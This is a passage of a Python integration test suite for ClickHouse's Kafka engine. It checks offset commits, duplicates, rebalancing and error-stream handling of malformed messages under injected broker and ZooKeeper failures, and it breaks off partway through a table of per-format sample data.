instance.wait_for_log_line('kafka_consumer{}.*Polled offset [0-9]+'.format(consumer_index))
cancel.set()
# I leave last one working by intent (to finish consuming after all rebalances)
for consumer_index in range(NUMBER_OF_CONSURRENT_CONSUMERS - 1):
logging.debug(("Dropping test.kafka_consumer{}".format(consumer_index)))
instance.query('DROP TABLE IF EXISTS test.kafka_consumer{} SYNC'.format(consumer_index))
# logging.debug(instance.query('SELECT count(), uniqExact(key), max(key) + 1 FROM test.destination'))
# kafka_cluster.open_bash_shell('instance')
while 1:
messages_consumed = int(instance.query('SELECT uniqExact(key) FROM test.destination'))
if messages_consumed >= msg_index[0]:
break
time.sleep(1)
logging.debug(("Waiting for finishing consuming (have {}, should be {})".format(messages_consumed, msg_index[0])))
logging.debug((instance.query('SELECT count(), uniqExact(key), max(key) + 1 FROM test.destination')))
# Some queries to debug...
# SELECT * FROM test.destination where key in (SELECT key FROM test.destination group by key having count() <> 1)
# select number + 1 as key from numbers(4141) x left join test.destination using (key) where test.destination.key = 0;
# SELECT * FROM test.destination WHERE key between 2360 and 2370 order by key;
# select _partition from test.destination group by _partition having count() <> max(_offset) + 1;
# select toUInt64(0) as _partition, number + 1 as _offset from numbers(400) x left join test.destination using (_partition,_offset) where test.destination.key = 0 order by _offset;
# SELECT * FROM test.destination WHERE _partition = 0 and _offset between 220 and 240 order by _offset;
# CREATE TABLE test.reference (key UInt64, value UInt64) ENGINE = Kafka SETTINGS kafka_broker_list = 'kafka1:19092',
# kafka_topic_list = 'topic_with_multiple_partitions',
# kafka_group_name = 'rebalance_test_group_reference',
# kafka_format = 'JSONEachRow',
# kafka_max_block_size = 100000;
#
# CREATE MATERIALIZED VIEW test.reference_mv Engine=Log AS
# SELECT key, value, _topic,_key,_offset, _partition, _timestamp, 'reference' as _consumed_by
# FROM test.reference;
#
# select * from test.reference_mv left join test.destination using (key,_topic,_offset,_partition) where test.destination._consumed_by = '';
result = int(instance.query('SELECT count() == uniqExact(key) FROM test.destination'))
for consumer_index in range(NUMBER_OF_CONSURRENT_CONSUMERS):
logging.debug(("kafka_consumer{}".format(consumer_index)))
table_name = 'kafka_consumer{}'.format(consumer_index)
instance.query('''
DROP TABLE IF EXISTS test.{0};
DROP TABLE IF EXISTS test.{0}_mv;
'''.format(table_name))
instance.query('''
DROP TABLE IF EXISTS test.destination;
''')
kafka_thread.join()
assert result == 1, 'Messages from kafka get duplicated!'
kafka_delete_topic(admin_client, topic_name)
def test_kafka_no_holes_when_write_suffix_failed(kafka_cluster):
messages = [json.dumps({'key': j + 1, 'value': 'x' * 300}) for j in range(22)]
kafka_produce(kafka_cluster, 'no_holes_when_write_suffix_failed', messages)
instance.query('''
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'no_holes_when_write_suffix_failed',
kafka_group_name = 'no_holes_when_write_suffix_failed',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 20,
kafka_flush_interval_ms = 2000;
CREATE TABLE test.view (key UInt64, value String)
ENGINE = ReplicatedMergeTree('/clickhouse/kafkatest/tables/no_holes_when_write_suffix_failed', 'node1')
ORDER BY key;
''')
# init PartitionManager (it starts container) earlier
pm = PartitionManager()
instance.query('''
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka
WHERE NOT sleepEachRow(0.25);
''')
instance.wait_for_log_line("Polled batch of 20 messages")
# the tricky part here is that disconnect should happen after write prefix, but before write suffix
# we have 0.25 (sleepEachRow) * 20 ( Rows ) = 5 sec window after "Polled batch of 20 messages"
# while materialized view is working to inject zookeeper failure
pm.drop_instance_zk_connections(instance)
instance.wait_for_log_line("Error.*(session has been expired|Connection loss).*while pushing to view")
pm.heal_all()
instance.wait_for_log_line("Committed offset 22")
result = instance.query('SELECT count(), uniqExact(key), max(key) FROM test.view')
logging.debug(result)
# kafka_cluster.open_bash_shell('instance')
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
assert TSV(result) == TSV('22\t22\t22')
def test_exception_from_destructor(kafka_cluster):
instance.query('''
CREATE TABLE test.kafka (key UInt64, value String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'xyz',
kafka_group_name = '',
kafka_format = 'JSONEachRow';
''')
instance.query_and_get_error('''
SELECT * FROM test.kafka;
''')
instance.query('''
DROP TABLE test.kafka;
''')
instance.query('''
CREATE TABLE test.kafka (key UInt64, value String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'xyz',
kafka_group_name = '',
kafka_format = 'JSONEachRow';
''')
instance.query('''
DROP TABLE test.kafka;
''')
# kafka_cluster.open_bash_shell('instance')
assert TSV(instance.query('SELECT 1')) == TSV('1')
def test_commits_of_unprocessed_messages_on_drop(kafka_cluster):
messages = [json.dumps({'key': j + 1, 'value': j + 1}) for j in range(1)]
kafka_produce(kafka_cluster, 'commits_of_unprocessed_messages_on_drop', messages)
instance.query('''
DROP TABLE IF EXISTS test.destination SYNC;
CREATE TABLE test.destination (
key UInt64,
value UInt64,
_topic String,
_key String,
_offset UInt64,
_partition UInt64,
_timestamp Nullable(DateTime('UTC')),
_consumed_by LowCardinality(String)
)
ENGINE = MergeTree()
ORDER BY key;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'commits_of_unprocessed_messages_on_drop',
kafka_group_name = 'commits_of_unprocessed_messages_on_drop_test_group',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 1000,
kafka_flush_interval_ms = 1000;
CREATE MATERIALIZED VIEW test.kafka_consumer TO test.destination AS
SELECT
key,
value,
_topic,
_key,
_offset,
_partition,
_timestamp
FROM test.kafka;
''')
# Waiting for test.kafka_consumer to start consume
instance.wait_for_log_line('Committed offset [0-9]+')
cancel = threading.Event()
i = [2]
def produce():
while not cancel.is_set():
messages = []
for _ in range(113):
messages.append(json.dumps({'key': i[0], 'value': i[0]}))
i[0] += 1
kafka_produce(kafka_cluster, 'commits_of_unprocessed_messages_on_drop', messages)
time.sleep(0.5)
kafka_thread = threading.Thread(target=produce)
kafka_thread.start()
time.sleep(4)
instance.query('''
DROP TABLE test.kafka SYNC;
''')
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'commits_of_unprocessed_messages_on_drop',
kafka_group_name = 'commits_of_unprocessed_messages_on_drop_test_group',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 10000,
kafka_flush_interval_ms = 1000;
''')
cancel.set()
instance.wait_for_log_line('kafka.*Stalled', repetitions=5)
# kafka_cluster.open_bash_shell('instance')
# SELECT key, _timestamp, _offset FROM test.destination where runningDifference(key) <> 1 ORDER BY key;
result = instance.query('SELECT count(), uniqExact(key), max(key) FROM test.destination')
logging.debug(result)
instance.query('''
DROP TABLE test.kafka_consumer SYNC;
DROP TABLE test.destination SYNC;
''')
kafka_thread.join()
assert TSV(result) == TSV('{0}\t{0}\t{0}'.format(i[0] - 1)), 'Missing data!'
def test_bad_reschedule(kafka_cluster):
messages = [json.dumps({'key': j + 1, 'value': j + 1}) for j in range(20000)]
kafka_produce(kafka_cluster, 'test_bad_reschedule', messages)
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'test_bad_reschedule',
kafka_group_name = 'test_bad_reschedule',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 1000,
kafka_flush_interval_ms = 1000;
CREATE MATERIALIZED VIEW test.destination Engine=Log AS
SELECT
key,
now() as consume_ts,
value,
_topic,
_key,
_offset,
_partition,
_timestamp
FROM test.kafka;
''')
instance.wait_for_log_line("Committed offset 20000")
assert int(instance.query("SELECT max(consume_ts) - min(consume_ts) FROM test.destination")) < 8
def test_kafka_duplicates_when_commit_failed(kafka_cluster):
messages = [json.dumps({'key': j + 1, 'value': 'x' * 300}) for j in range(22)]
kafka_produce(kafka_cluster, 'duplicates_when_commit_failed', messages)
instance.query('''
DROP TABLE IF EXISTS test.view SYNC;
DROP TABLE IF EXISTS test.consumer SYNC;
CREATE TABLE test.kafka (key UInt64, value String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'duplicates_when_commit_failed',
kafka_group_name = 'duplicates_when_commit_failed',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 20,
kafka_flush_interval_ms = 1000;
CREATE TABLE test.view (key UInt64, value String)
ENGINE = MergeTree()
ORDER BY key;
''')
instance.query('''
CREATE MATERIALIZED VIEW test.consumer TO test.view AS
SELECT * FROM test.kafka
WHERE NOT sleepEachRow(0.25);
''')
instance.wait_for_log_line("Polled batch of 20 messages")
# the tricky part here is that disconnect should happen after write prefix, but before we do commit
# we have 0.25 (sleepEachRow) * 20 ( Rows ) = 5 sec window after "Polled batch of 20 messages"
# while materialized view is working to inject zookeeper failure
kafka_cluster.pause_container('kafka1')
# if we restore the connection too fast (<30sec) librdkafka will not report any timeout
# (alternative is to decrease the default session timeouts for librdkafka)
#
# when the delay is too long (>50sec) broker will decide to remove us from the consumer group,
# and will start answering "Broker: Unknown member"
instance.wait_for_log_line("Exception during commit attempt: Local: Waiting for coordinator", timeout=45)
instance.wait_for_log_line("All commit attempts failed", look_behind_lines=500)
kafka_cluster.unpause_container('kafka1')
# kafka_cluster.open_bash_shell('instance')
instance.wait_for_log_line("Committed offset 22")
result = instance.query('SELECT count(), uniqExact(key), max(key) FROM test.view')
logging.debug(result)
instance.query('''
DROP TABLE test.consumer SYNC;
DROP TABLE test.view SYNC;
''')
# After https://github.com/edenhill/librdkafka/issues/2631
# timeout triggers rebalance, making further commits to the topic after getting back online
# impossible. So we have a duplicate in that scenario, but we report that situation properly.
assert TSV(result) == TSV('42\t22\t22')
# if we came to partition end we will repeat polling until reaching kafka_max_block_size or flush_interval
# that behavior is a bit quesionable - we can just take a bigger pauses between polls instead -
# to do more job in a single pass, and give more rest for a thread.
# But in cases of some peaky loads in kafka topic the current contract sounds more predictable and
# easier to understand, so let's keep it as is for now.
# also we can came to eof because we drained librdkafka internal queue too fast
def test_premature_flush_on_eof(kafka_cluster):
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'premature_flush_on_eof',
kafka_group_name = 'premature_flush_on_eof',
kafka_format = 'JSONEachRow';
SELECT * FROM test.kafka LIMIT 1;
CREATE TABLE test.destination (
key UInt64,
value UInt64,
_topic String,
_key String,
_offset UInt64,
_partition UInt64,
_timestamp Nullable(DateTime('UTC')),
_consumed_by LowCardinality(String)
)
ENGINE = MergeTree()
ORDER BY key;
''')
# messages created here will be consumed immedeately after MV creation
# reaching topic EOF.
# But we should not do flush immedeately after reaching EOF, because
# next poll can return more data, and we should respect kafka_flush_interval_ms
# and try to form bigger block
messages = [json.dumps({'key': j + 1, 'value': j + 1}) for j in range(1)]
kafka_produce(kafka_cluster, 'premature_flush_on_eof', messages)
instance.query('''
CREATE MATERIALIZED VIEW test.kafka_consumer TO test.destination AS
SELECT
key,
value,
_topic,
_key,
_offset,
_partition,
_timestamp
FROM test.kafka;
''')
# all subscriptions/assignments done during select, so it start sending data to test.destination
# immediately after creation of MV
instance.wait_for_log_line("Polled batch of 1 messages")
instance.wait_for_log_line("Stalled")
# produce more messages after delay
kafka_produce(kafka_cluster, 'premature_flush_on_eof', messages)
# data was not flushed yet (it will be flushed 7.5 sec after creating MV)
assert int(instance.query("SELECT count() FROM test.destination")) == 0
instance.wait_for_log_line("Committed offset 2")
# it should be single part, i.e. single insert
result = instance.query('SELECT _part, count() FROM test.destination group by _part')
assert TSV(result) == TSV('all_1_1_0\t2')
instance.query('''
DROP TABLE test.kafka_consumer;
DROP TABLE test.destination;
''')
def test_kafka_unavailable(kafka_cluster):
messages = [json.dumps({'key': j + 1, 'value': j + 1}) for j in range(20000)]
kafka_produce(kafka_cluster, 'test_bad_reschedule', messages)
kafka_cluster.pause_container('kafka1')
instance.query('''
CREATE TABLE test.test_bad_reschedule (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'test_bad_reschedule',
kafka_group_name = 'test_bad_reschedule',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 1000;
CREATE MATERIALIZED VIEW test.destination_unavailable Engine=Log AS
SELECT
key,
now() as consume_ts,
value,
_topic,
_key,
_offset,
_partition,
_timestamp
FROM test.test_bad_reschedule;
''')
instance.query("SELECT * FROM test.test_bad_reschedule")
instance.query("SELECT count() FROM test.destination_unavailable")
# enough to trigger issue
time.sleep(30)
kafka_cluster.unpause_container('kafka1')
while int(instance.query("SELECT count() FROM test.destination_unavailable")) < 20000:
print("Waiting for consume")
time.sleep(1)
def test_kafka_issue14202(kafka_cluster):
"""
INSERT INTO Kafka Engine from an empty SELECT sub query was leading to failure
"""
instance.query('''
CREATE TABLE test.empty_table (
dt Date,
some_string String
)
ENGINE = MergeTree()
PARTITION BY toYYYYMM(dt)
ORDER BY some_string;
CREATE TABLE test.kafka_q (t UInt64, `some_string` String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'issue14202',
kafka_group_name = 'issue14202',
kafka_format = 'JSONEachRow';
''')
instance.query(
'INSERT INTO test.kafka_q SELECT t, some_string FROM ( SELECT dt AS t, some_string FROM test.empty_table )')
# check instance is alive
assert TSV(instance.query('SELECT 1')) == TSV('1')
instance.query('''
DROP TABLE test.empty_table;
DROP TABLE test.kafka_q;
''')
def test_kafka_csv_with_thread_per_consumer(kafka_cluster):
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'csv_with_thread_per_consumer',
kafka_group_name = 'csv_with_thread_per_consumer',
kafka_format = 'CSV',
kafka_row_delimiter = '\\n',
kafka_num_consumers = 4,
kafka_thread_per_consumer = 1;
''')
messages = []
for i in range(50):
messages.append('{i}, {i}'.format(i=i))
kafka_produce(kafka_cluster, 'csv_with_thread_per_consumer', messages)
result = ''
while True:
result += instance.query('SELECT * FROM test.kafka', ignore_error=True)
if kafka_check_result(result):
break
kafka_check_result(result, True)
def random_string(size=8):
return ''.join(random.choices(string.ascii_uppercase + string.digits, k=size))
def test_kafka_engine_put_errors_to_stream(kafka_cluster):
instance.query('''
DROP TABLE IF EXISTS test.kafka;
DROP TABLE IF EXISTS test.kafka_data;
DROP TABLE IF EXISTS test.kafka_errors;
CREATE TABLE test.kafka (i Int64, s String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'kafka_engine_put_errors_to_stream',
kafka_group_name = 'kafka_engine_put_errors_to_stream',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 128,
kafka_handle_error_mode = 'stream';
CREATE MATERIALIZED VIEW test.kafka_data (i Int64, s String)
ENGINE = MergeTree
ORDER BY i
AS SELECT i, s FROM test.kafka WHERE length(_error) == 0;
CREATE MATERIALIZED VIEW test.kafka_errors (topic String, partition Int64, offset Int64, raw String, error String)
ENGINE = MergeTree
ORDER BY (topic, offset)
AS SELECT
_topic AS topic,
_partition AS partition,
_offset AS offset,
_raw_message AS raw,
_error AS error
FROM test.kafka WHERE length(_error) > 0;
''')
messages = []
for i in range(128):
if i % 2 == 0:
messages.append(json.dumps({'i': i, 's': random_string(8)}))
else:
# Unexpected json content for table test.kafka.
messages.append(json.dumps({'i': 'n_' + random_string(4), 's': random_string(8)}))
kafka_produce(kafka_cluster, 'kafka_engine_put_errors_to_stream', messages)
instance.wait_for_log_line("Committed offset 128")
assert TSV(instance.query('SELECT count() FROM test.kafka_data')) == TSV('64')
assert TSV(instance.query('SELECT count() FROM test.kafka_errors')) == TSV('64')
instance.query('''
DROP TABLE test.kafka;
DROP TABLE test.kafka_data;
DROP TABLE test.kafka_errors;
''')
def gen_normal_json():
return '{"i":1000, "s":"ABC123abc"}'
def gen_malformed_json():
return '{"i":"n1000", "s":"1000"}'
def gen_message_with_jsons(jsons = 10, malformed = 0):
s = io.StringIO()
# we don't care on which position error will be added
# (we skip whole broken message), but we need to be
# sure that at least one error will be added,
# otherwise test will fail.
error_pos = random.randint(0,jsons-1)
for i in range (jsons):
if malformed and i == error_pos:
s.write(gen_malformed_json())
else:
s.write(gen_normal_json())
s.write(' ')
return s.getvalue()
def test_kafka_engine_put_errors_to_stream_with_random_malformed_json(kafka_cluster):
instance.query('''
DROP TABLE IF EXISTS test.kafka;
DROP TABLE IF EXISTS test.kafka_data;
DROP TABLE IF EXISTS test.kafka_errors;
CREATE TABLE test.kafka (i Int64, s String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'kafka_engine_put_errors_to_stream_with_random_malformed_json',
kafka_group_name = 'kafka_engine_put_errors_to_stream_with_random_malformed_json',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 100,
kafka_poll_max_batch_size = 1,
kafka_handle_error_mode = 'stream';
CREATE MATERIALIZED VIEW test.kafka_data (i Int64, s String)
ENGINE = MergeTree
ORDER BY i
AS SELECT i, s FROM test.kafka WHERE length(_error) == 0;
CREATE MATERIALIZED VIEW test.kafka_errors (topic String, partition Int64, offset Int64, raw String, error String)
ENGINE = MergeTree
ORDER BY (topic, offset)
AS SELECT
_topic AS topic,
_partition AS partition,
_offset AS offset,
_raw_message AS raw,
_error AS error
FROM test.kafka WHERE length(_error) > 0;
''')
messages = []
for i in range(128):
if i % 2 == 0:
messages.append(gen_message_with_jsons(10, 1))
else:
messages.append(gen_message_with_jsons(10, 0))
kafka_produce(kafka_cluster, 'kafka_engine_put_errors_to_stream_with_random_malformed_json', messages)
instance.wait_for_log_line("Committed offset 128")
# 64 good messages, each containing 10 rows
assert TSV(instance.query('SELECT count() FROM test.kafka_data')) == TSV('640')
# 64 bad messages, each containing some broken row
assert TSV(instance.query('SELECT count() FROM test.kafka_errors')) == TSV('64')
instance.query('''
DROP TABLE test.kafka;
DROP TABLE test.kafka_data;
DROP TABLE test.kafka_errors;
''')
def test_kafka_formats_with_broken_message(kafka_cluster):
# data was dumped from clickhouse itself in a following manner
# clickhouse-client --format=Native --query='SELECT toInt64(number) as id, toUInt16( intDiv( id, 65536 ) ) as blockNo, reinterpretAsString(19777) as val1, toFloat32(0.5) as val2, toUInt8(1) as val3 from numbers(100) ORDER BY id' | xxd -ps | tr -d '\n' | sed 's/\(..\)/\\x\1/g'
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
all_formats = {
## Text formats ##
# dumped with clickhouse-client ... | perl -pe 's/\n/\\n/; s/\t/\\t/g;'
'JSONEachRow': {
'data_sample': [
'{"id":"0","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n',
'{"id":"1","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"2","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"3","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"4","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"5","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"6","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"7","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"8","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"9","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"10","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"11","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"12","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"13","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"14","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n{"id":"15","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n',
'{"id":"0","blockNo":0,"val1":"AM","val2":0.5,"val3":1}\n',
# broken message
'{"id":"0","blockNo":"BAD","val1":"AM","val2":0.5,"val3":1}',
],
'expected':'''{"raw_message":"{\\"id\\":\\"0\\",\\"blockNo\\":\\"BAD\\",\\"val1\\":\\"AM\\",\\"val2\\":0.5,\\"val3\\":1}","error":"Cannot parse input: expected '\\"' before: 'BAD\\",\\"val1\\":\\"AM\\",\\"val2\\":0.5,\\"val3\\":1}': (while reading the value of key blockNo)"}''',
'supports_empty_value': True,
'printable': True,
},
# JSONAsString doesn't fit to that test, and tested separately
'JSONCompactEachRow': {
'data_sample': [
'["0", 0, "AM", 0.5, 1]\n',
'["1", 0, "AM", 0.5, 1]\n["2", 0, "AM", 0.5, 1]\n["3", 0, "AM", 0.5, 1]\n["4", 0, "AM", 0.5, 1]\n["5", 0, "AM", 0.5, 1]\n["6", 0, "AM", 0.5, 1]\n["7", 0, "AM", 0.5, 1]\n["8", 0, "AM", 0.5, 1]\n["9", 0, "AM", 0.5, 1]\n["10", 0, "AM", 0.5, 1]\n["11", 0, "AM", 0.5, 1]\n["12", 0, "AM", 0.5, 1]\n["13", 0, "AM", 0.5, 1]\n["14", 0, "AM", 0.5, 1]\n["15", 0, "AM", 0.5, 1]\n',
'["0", 0, "AM", 0.5, 1]\n',
# broken message
'["0", "BAD", "AM", 0.5, 1]',
],
'expected':'''{"raw_message":"[\\"0\\", \\"BAD\\", \\"AM\\", 0.5, 1]","error":"Cannot parse input: expected '\\"' before: 'BAD\\", \\"AM\\", 0.5, 1]': (while reading the value of key blockNo)"}''',
'supports_empty_value': True,
'printable':True,
},
'JSONCompactEachRowWithNamesAndTypes': {
'data_sample': [
'["id", "blockNo", "val1", "val2", "val3"]\n["Int64", "UInt16", "String", "Float32", "UInt8"]\n["0", 0, "AM", 0.5, 1]\n',
'["id", "blockNo", "val1", "val2", "val3"]\n["Int64", "UInt16", "String", "Float32", "UInt8"]\n["1", 0, "AM", 0.5, 1]\n["2", 0, "AM", 0.5, 1]\n["3", 0, "AM", 0.5, 1]\n["4", 0, "AM", 0.5, 1]\n["5", 0, "AM", 0.5, 1]\n["6", 0, "AM", 0.5, 1]\n["7", 0, "AM", 0.5, 1]\n["8", 0, "AM", 0.5, 1]\n["9", 0, "AM", 0.5, 1]\n["10", 0, "AM", 0.5, 1]\n["11", 0, "AM", 0.5, 1]\n["12", 0, "AM", 0.5, 1]\n["13", 0, "AM", 0.5, 1]\n["14", 0, "AM", 0.5, 1]\n["15", 0, "AM", 0.5, 1]\n',
'["id", "blockNo", "val1", "val2", "val3"]\n["Int64", "UInt16", "String", "Float32", "UInt8"]\n["0", 0, "AM", 0.5, 1]\n',
# broken message
'["0", "BAD", "AM", 0.5, 1]',
],
'expected':'''{"raw_message":"[\\"0\\", \\"BAD\\", \\"AM\\", 0.5, 1]","error":"Cannot parse JSON string: expected opening quote"}''',
'printable':True,
},
'TSKV': {
'data_sample': [
'id=0\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\n',
'id=1\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=2\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=3\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=4\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=5\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=6\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=7\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=8\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=9\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=10\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=11\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=12\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=13\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=14\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\nid=15\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\n',
'id=0\tblockNo=0\tval1=AM\tval2=0.5\tval3=1\n',
# broken message
'id=0\tblockNo=BAD\tval1=AM\tval2=0.5\tval3=1\n',
],
'expected':'{"raw_message":"id=0\\tblockNo=BAD\\tval1=AM\\tval2=0.5\\tval3=1\\n","error":"Found garbage after field in TSKV format: blockNo: (at row 1)\\n"}',
'printable':True,
},
'CSV': {
'data_sample': [
'0,0,"AM",0.5,1\n',
'1,0,"AM",0.5,1\n2,0,"AM",0.5,1\n3,0,"AM",0.5,1\n4,0,"AM",0.5,1\n5,0,"AM",0.5,1\n6,0,"AM",0.5,1\n7,0,"AM",0.5,1\n8,0,"AM",0.5,1\n9,0,"AM",0.5,1\n10,0,"AM",0.5,1\n11,0,"AM",0.5,1\n12,0,"AM",0.5,1\n13,0,"AM",0.5,1\n14,0,"AM",0.5,1\n15,0,"AM",0.5,1\n',
'0,0,"AM",0.5,1\n',
# broken message
'0,"BAD","AM",0.5,1\n',
],
'expected':'''{"raw_message":"0,\\"BAD\\",\\"AM\\",0.5,1\\n","error":"Cannot parse input: expected '\\"' before: 'BAD\\",\\"AM\\",0.5,1\\\\n': Could not print diagnostic info because two last rows aren't in buffer (rare case)\\n"}''',
'printable':True,
'supports_empty_value': True,
},
'TSV': {
'data_sample': [
'0\t0\tAM\t0.5\t1\n',
'1\t0\tAM\t0.5\t1\n2\t0\tAM\t0.5\t1\n3\t0\tAM\t0.5\t1\n4\t0\tAM\t0.5\t1\n5\t0\tAM\t0.5\t1\n6\t0\tAM\t0.5\t1\n7\t0\tAM\t0.5\t1\n8\t0\tAM\t0.5\t1\n9\t0\tAM\t0.5\t1\n10\t0\tAM\t0.5\t1\n11\t0\tAM\t0.5\t1\n12\t0\tAM\t0.5\t1\n13\t0\tAM\t0.5\t1\n14\t0\tAM\t0.5\t1\n15\t0\tAM\t0.5\t1\n',
'0\t0\tAM\t0.5\t1\n',
# broken message
'0\tBAD\tAM\t0.5\t1\n',
],
'expected':'''{"raw_message":"0\\tBAD\\tAM\\t0.5\\t1\\n","error":"Cannot parse input: expected '\\\\t' before: 'BAD\\\\tAM\\\\t0.5\\\\t1\\\\n': Could not print diagnostic info because two last rows aren't in buffer (rare case)\\n"}''',
'supports_empty_value': True,
'printable':True,
},
'CSVWithNames': {
'data_sample': [
'"id","blockNo","val1","val2","val3"\n0,0,"AM",0.5,1\n',
'"id","blockNo","val1","val2","val3"\n1,0,"AM",0.5,1\n2,0,"AM",0.5,1\n3,0,"AM",0.5,1\n4,0,"AM",0.5,1\n5,0,"AM",0.5,1\n6,0,"AM",0.5,1\n7,0,"AM",0.5,1\n8,0,"AM",0.5,1\n9,0,"AM",0.5,1\n10,0,"AM",0.5,1\n11,0,"AM",0.5,1\n12,0,"AM",0.5,1\n13,0,"AM",0.5,1\n14,0,"AM",0.5,1\n15,0,"AM",0.5,1\n',
'"id","blockNo","val1","val2","val3"\n0,0,"AM",0.5,1\n',
# broken message
'"id","blockNo","val1","val2","val3"\n0,"BAD","AM",0.5,1\n',
],
'expected':'''{"raw_message":"\\"id\\",\\"blockNo\\",\\"val1\\",\\"val2\\",\\"val3\\"\\n0,\\"BAD\\",\\"AM\\",0.5,1\\n","error":"Cannot parse input: expected '\\"' before: 'BAD\\",\\"AM\\",0.5,1\\\\n': Could not print diagnostic info because two last rows aren't in buffer (rare case)\\n"}''',
'printable':True,
},
'Values': {
'data_sample': [
"(0,0,'AM',0.5,1)",
"(1,0,'AM',0.5,1),(2,0,'AM',0.5,1),(3,0,'AM',0.5,1),(4,0,'AM',0.5,1),(5,0,'AM',0.5,1),(6,0,'AM',0.5,1),(7,0,'AM',0.5,1),(8,0,'AM',0.5,1),(9,0,'AM',0.5,1),(10,0,'AM',0.5,1),(11,0,'AM',0.5,1),(12,0,'AM',0.5,1),(13,0,'AM',0.5,1),(14,0,'AM',0.5,1),(15,0,'AM',0.5,1)",
"(0,0,'AM',0.5,1)",
# broken message
"(0,'BAD','AM',0.5,1)",
],
'expected':r'''{"raw_message":"(0,'BAD','AM',0.5,1)","error":"Cannot parse string 'BAD' as UInt16: syntax error at begin of string. Note: there are toUInt16OrZero and toUInt16OrNull functions, which returns zero\/NULL instead of throwing exception"}''',
'supports_empty_value': True,
'printable':True,
},
'TSVWithNames': {
'data_sample': [
'id\tblockNo\tval1\tval2\tval3\n0\t0\tAM\t0.5\t1\n',
'id\tblockNo\tval1\tval2\tval3\n1\t0\tAM\t0.5\t1\n2\t0\tAM\t0.5\t1\n3\t0\tAM\t0.5\t1\n4\t0\tAM\t0.5\t1\n5\t0\tAM\t0.5\t1\n6\t0\tAM\t0.5\t1\n7\t0\tAM\t0.5\t1\n8\t0\tAM\t0.5\t1\n9\t0\tAM\t0.5\t1\n10\t0\tAM\t0.5\t1\n11\t0\tAM\t0.5\t1\n12\t0\tAM\t0.5\t1\n13\t0\tAM\t0.5\t1\n14\t0\tAM\t0.5\t1\n15\t0\tAM\t0.5\t1\n',
'id\tblockNo\tval1\tval2\tval3\n0\t0\tAM\t0.5\t1\n',
# broken message
'id\tblockNo\tval1\tval2\tval3\n0\tBAD\tAM\t0.5\t1\n',
],
